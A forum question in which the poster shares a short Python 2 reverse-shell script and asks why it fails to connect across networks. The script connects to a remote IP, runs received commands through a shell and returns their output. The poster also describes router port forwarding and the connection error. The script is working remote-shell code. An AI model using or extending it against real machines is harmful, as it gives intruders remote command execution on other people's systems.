I tried below code:
#!/usr/bin/python
import socket,subprocess
HOST = '78.163.XX.XX'
PORT = 22
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
s.send('[*] Connection Established!')
while 1:
data = s.recv(1024)
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
s.close()
But i got error :
Traceback (most recent call last):
File "rs.py", line 6, in <module>
s.connect(('78.163.XX.XX', 22))
File "/usr/lib/python2.7/socket.py", line 228, in meth
return getattr(self._sock,name)(*args)
socket.error: [Errno 111] Connection refused
its my wan ip:78.163.XX.XX
and i opened a ssh port(22) and normal port(4444) and redirected to my internal ip (192.168.2.50)
from my modem interface.But still i cannot open to ssh tunnel between 2 different computer not on same network.
How can i solve this problem? or what is my problem? Any idea?
Additionally, if i try locally host=socket.gethostname(),its work properly.But its not work not on same network pcs.
Thank you in advance..